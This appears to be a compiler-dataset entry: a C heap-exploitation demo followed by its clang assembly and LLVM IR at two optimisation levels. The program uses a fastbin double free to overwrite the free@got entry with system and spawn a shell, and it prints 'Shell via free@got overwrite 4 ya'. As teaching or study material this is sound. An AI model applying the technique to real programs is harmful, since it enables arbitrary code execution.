#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ free(void *);
void *malloc(int);
int /*<<< orphan*/ memcpy(void *, char *, int);
int /*<<< orphan*/ memset(char *, int /*<<< orphan*/, int);
int /*<<< orphan*/ read(int /*<<< orphan*/, char *, int);
int /*<<< orphan*/ snprintf(char *, int, char *, void *);
int /*<<< orphan*/ system;
int /*<<< orphan*/ write(int, char *, int);
int main(int argc) {
  char buf[2];
  void *a, *b, *c, *d, *e, *f;
  if (argc > 1)
    read(0, buf, 2);
  a = malloc(0x50);
  b = malloc(0x50);
  c = malloc(0x50);
  free(a);
  free(b);
  free(a);
  d = malloc(0x50);
  e = malloc(0x50);
  *(unsigned long long *)d = 0x601000 + 2 - 0x8;
  f = malloc(0x50);
  void *got = malloc(0x50);
  void **got_ptrs = got - 2 + 0x10;
  char ptr[17];
  write(1, "Look ma!\n", 9);
  for (int i = 0; i < 3; i++) {
    memset(ptr, 0, 17);
    snprintf(ptr, 17, "%p", got_ptrs[i]);
    write(1, ptr, 16);
    write(1, "\n", 1);
  }
  write(1, "Shell via free@got overwrite 4 ya:\n", 35);
  got_ptrs[0] = &system;
  memcpy(e, "sh\x00", 3);
  free(e);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x80,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
cmpl   $0x1,-0x8(%rbp)
jle    119f <main+0x2f>
lea    -0xa(%rbp),%rsi
xor    %edi,%edi
mov    $0x2,%edx
call   1070 <read@plt>
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,-0x18(%rbp)
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,-0x20(%rbp)
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,-0x28(%rbp)
mov    -0x18(%rbp),%rdi
call   1030 <free@plt>
mov    -0x20(%rbp),%rdi
call   1030 <free@plt>
mov    -0x18(%rbp),%rdi
call   1030 <free@plt>
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,-0x30(%rbp)
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,-0x38(%rbp)
mov    -0x30(%rbp),%rax
movq   $0x600ffa,(%rax)
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,-0x40(%rbp)
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,-0x48(%rbp)
mov    -0x48(%rbp),%rax
add    $0xfffffffffffffffe,%rax
add    $0x10,%rax
mov    %rax,-0x50(%rbp)
mov    $0x1,%edi
lea    0xdbd(%rip),%rsi
mov    $0x9,%edx
call   1040 <write@plt>
movl   $0x0,-0x74(%rbp)
cmpl   $0x3,-0x74(%rbp)
jge    12c3 <main+0x153>
lea    -0x70(%rbp),%rdi
xor    %esi,%esi
mov    $0x11,%edx
call   1060 <memset@plt>
lea    -0x70(%rbp),%rdi
mov    -0x50(%rbp),%rax
movslq -0x74(%rbp),%rcx
mov    (%rax,%rcx,8),%rcx
mov    $0x11,%esi
lea    0xd80(%rip),%rdx
call   1050 <snprintf@plt>
lea    -0x70(%rbp),%rsi
mov    $0x1,%edi
mov    $0x10,%edx
call   1040 <write@plt>
mov    $0x1,%edx
lea    0xd5a(%rip),%rsi
mov    %edx,%edi
call   1040 <write@plt>
mov    -0x74(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x74(%rbp)
jmp    1254 <main+0xe4>
mov    $0x1,%edi
lea    0xd3e(%rip),%rsi
mov    $0x23,%edx
call   1040 <write@plt>
mov    -0x50(%rbp),%rax
mov    0x2d04(%rip),%rcx
mov    %rcx,(%rax)
mov    -0x38(%rbp),%rdi
lea    0xd3f(%rip),%rsi
mov    $0x3,%edx
call   1080 <memcpy@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x4(%rbp),%eax
add    $0x80,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x28,%rsp
cmp    $0x2,%edi
jl     1191 <main+0x21>
lea    0xe(%rsp),%rsi
xor    %edi,%edi
mov    $0x2,%edx
call   1070 <read@plt>
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,%rbx
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,%r14
mov    %rbx,%rdi
call   1030 <free@plt>
mov    %r14,%rdi
call   1030 <free@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
mov    $0x50,%edi
call   1090 <malloc@plt>
mov    %rax,%r14
lea    0xe29(%rip),%rsi
mov    $0x1,%edi
mov    $0x9,%edx
call   1040 <write@plt>
lea    0x10(%rsp),%rbx
mov    %rbx,%rdi
xor    %esi,%esi
mov    $0x11,%edx
call   1060 <memset@plt>
lea    0xe09(%rip),%r15
mov    %rbx,%rdi
mov    $0x11,%esi
mov    %r15,%rdx
call   1050 <snprintf@plt>
mov    $0x1,%edi
mov    %rbx,%rsi
mov    $0x10,%edx
call   1040 <write@plt>
lea    0xdde(%rip),%r12
mov    $0x1,%edi
mov    %r12,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
mov    %rbx,%rdi
xor    %esi,%esi
mov    $0x11,%edx
call   1060 <memset@plt>
mov    %rbx,%rdi
mov    $0x11,%esi
mov    %r15,%rdx
call   1050 <snprintf@plt>
mov    $0x1,%edi
mov    %rbx,%rsi
mov    $0x10,%edx
call   1040 <write@plt>
mov    $0x1,%edi
mov    %r12,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
mov    %rbx,%rdi
xor    %esi,%esi
mov    $0x11,%edx
call   1060 <memset@plt>
mov    %rbx,%rdi
mov    $0x11,%esi
mov    %r15,%rdx
call   1050 <snprintf@plt>
mov    $0x1,%edi
mov    %rbx,%rsi
mov    $0x10,%edx
call   1040 <write@plt>
mov    $0x1,%edi
mov    %r12,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
lea    0xd44(%rip),%rsi
mov    $0x1,%edi
mov    $0x23,%edx
call   1040 <write@plt>
lea    0xd52(%rip),%rsi
mov    %r14,%rdi
mov    $0x3,%edx
call   1080 <memcpy@plt>
mov    %r14,%rdi
call   1030 <free@plt>
xor    %eax,%eax
add    $0x28,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
@.str = [10 x i8] c"Look ma!\0A\00"
@.str.1 = [3 x i8] c"%p\00"
@.str.2 = [2 x i8] c"\0A\00"
@.str.3 = [36 x i8] c"Shell via free@got overwrite 4 ya:\0A\00"
@system = global i32 0
@.str.4 = [4 x i8] c"sh\00\00"
define i32 @main(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca [2 x i8]
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca i8*
%10 = alloca i8*
%11 = alloca i8*
%12 = alloca i8**
%13 = alloca [17 x i8]
%14 = alloca i32
store i32 0, i32* %2
store i32 %0, i32* %3
%15 = load i32, i32* %3
%16 = icmp sgt i32 %15, 1
br i1 %16, label %17, label %20
17: ; preds = %1
%18 = getelementptr inbounds [2 x i8], [2 x i8]* %4, i64 0, i64 0
%19 = call i32 @read(i32 0, i8* %18, i32 2)
br label %20
20: ; preds = %17, %1
%21 = call i8* @malloc(i32 80)
store i8* %21, i8** %5
%22 = call i8* @malloc(i32 80)
store i8* %22, i8** %6
%23 = call i8* @malloc(i32 80)
store i8* %23, i8** %7
%24 = load i8*, i8** %5
%25 = call i32 @free(i8* %24)
%26 = load i8*, i8** %6
%27 = call i32 @free(i8* %26)
%28 = load i8*, i8** %5
%29 = call i32 @free(i8* %28)
%30 = call i8* @malloc(i32 80)
store i8* %30, i8** %8
%31 = call i8* @malloc(i32 80)
store i8* %31, i8** %9
%32 = load i8*, i8** %8
%33 = bitcast i8* %32 to i64*
store i64 6295546, i64* %33
%34 = call i8* @malloc(i32 80)
store i8* %34, i8** %10
%35 = call i8* @malloc(i32 80)
store i8* %35, i8** %11
%36 = load i8*, i8** %11
%37 = getelementptr i8, i8* %36, i64 -2
%38 = getelementptr i8, i8* %37, i64 16
%39 = bitcast i8* %38 to i8**
store i8** %39, i8*** %12
%40 = call i32 @write(i32 1, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0), i32 9)
store i32 0, i32* %14
br label %41
41: ; preds = %57, %20
%42 = load i32, i32* %14
%43 = icmp slt i32 %42, 3
br i1 %43, label %44, label %60
44: ; preds = %41
%45 = getelementptr inbounds [17 x i8], [17 x i8]* %13, i64 0, i64 0
%46 = call i32 @memset(i8* %45, i32 0, i32 17)
%47 = getelementptr inbounds [17 x i8], [17 x i8]* %13, i64 0, i64 0
%48 = load i8**, i8*** %12
%49 = load i32, i32* %14
%50 = sext i32 %49 to i64
%51 = getelementptr inbounds i8*, i8** %48, i64 %50
%52 = load i8*, i8** %51
%53 = call i32 @snprintf(i8* %47, i32 17, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* %52)
%54 = getelementptr inbounds [17 x i8], [17 x i8]* %13, i64 0, i64 0
%55 = call i32 @write(i32 1, i8* %54, i32 16)
%56 = call i32 @write(i32 1, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0), i32 1)
br label %57
57: ; preds = %44
%58 = load i32, i32* %14
%59 = add nsw i32 %58, 1
store i32 %59, i32* %14
br label %41
60: ; preds = %41
%61 = call i32 @write(i32 1, i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str.3, i64 0, i64 0), i32 35)
%62 = load i8**, i8*** %12
%63 = getelementptr inbounds i8*, i8** %62, i64 0
store i8* bitcast (i32* @system to i8*), i8** %63
%64 = load i8*, i8** %9
%65 = call i32 @memcpy(i8* %64, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.4, i64 0, i64 0), i32 3)
%66 = load i8*, i8** %9
%67 = call i32 @free(i8* %66)
%68 = load i32, i32* %2
ret i32 %68
}

LLVM IR (-O2):
@.str = [10 x i8] c"Look ma!\0A\00"
@.str.1 = [3 x i8] c"%p\00"
@.str.2 = [2 x i8] c"\0A\00"
@.str.3 = [36 x i8] c"Shell via free@got overwrite 4 ya:\0A\00"
@system = global i32 0
@.str.4 = [4 x i8] c"sh\00\00"
define i32 @main(i32 %0) {
%2 = alloca [2 x i8]
%3 = alloca [17 x i8]
%4 = getelementptr inbounds [2 x i8], [2 x i8]* %2, i64 0, i64 0
%5 = icmp sgt i32 %0, 1
br i1 %5, label %6, label %8
6: ; preds = %1
%7 = call i32 @read(i32 0, i8* %4, i32 2)
br label %8
8: ; preds = %6, %1
%9 = tail call dereferenceable_or_null(80) i8* @malloc(i32 80)
%10 = tail call dereferenceable_or_null(80) i8* @malloc(i32 80)
%11 = tail call i32 @free(i8* %9)
%12 = tail call i32 @free(i8* %10)
%13 = tail call i32 @free(i8* %9)
%14 = tail call dereferenceable_or_null(80) i8* @malloc(i32 80)
%15 = getelementptr inbounds [17 x i8], [17 x i8]* %3, i64 0, i64 0
%16 = tail call i32 @write(i32 1, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0), i32 9)
%17 = call i32 @memset(i8* %15, i32 0, i32 17)
%18 = call i32 @snprintf(i8* %15, i32 17, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* undef)
%19 = call i32 @write(i32 1, i8* %15, i32 16)
%20 = call i32 @write(i32 1, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0), i32 1)
%21 = call i32 @memset(i8* %15, i32 0, i32 17)
%22 = call i32 @snprintf(i8* %15, i32 17, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* undef)
%23 = call i32 @write(i32 1, i8* %15, i32 16)
%24 = call i32 @write(i32 1, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0), i32 1)
%25 = call i32 @memset(i8* %15, i32 0, i32 17)
%26 = call i32 @snprintf(i8* %15, i32 17, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* undef)
%27 = call i32 @write(i32 1, i8* %15, i32 16)
%28 = call i32 @write(i32 1, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0), i32 1)
%29 = call i32 @write(i32 1, i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str.3, i64 0, i64 0), i32 35)
%30 = call i32 @memcpy(i8* %14, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.4, i64 0, i64 0), i32 3)
%31 = call i32 @free(i8* %14)
ret i32 0
}